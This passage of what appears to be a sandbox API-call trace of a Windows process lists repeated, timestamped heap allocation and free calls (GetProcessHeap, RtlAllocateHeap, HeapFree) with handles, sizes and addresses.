hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.270] GetProcessHeap () returned 0x540000 [0063.270] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.271] GetProcessHeap () returned 0x540000 [0063.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.271] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.272] GetProcessHeap () returned 0x540000 [0063.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.272] GetProcessHeap () returned 0x540000 [0063.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.273] GetProcessHeap () returned 0x540000 [0063.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.273] GetProcessHeap () returned 0x540000 [0063.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.273] GetProcessHeap () returned 0x540000 [0063.273] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.273] GetProcessHeap () returned 0x540000 [0063.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.373] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.374] GetProcessHeap () returned 0x540000 [0063.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.375] GetProcessHeap () returned 0x540000 [0063.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.375] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.376] GetProcessHeap () returned 0x540000 [0063.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.376] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.377] GetProcessHeap () returned 0x540000 [0063.377] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.377] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.378] GetProcessHeap () returned 0x540000 [0063.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.379] GetProcessHeap () returned 0x540000 [0063.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.379] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 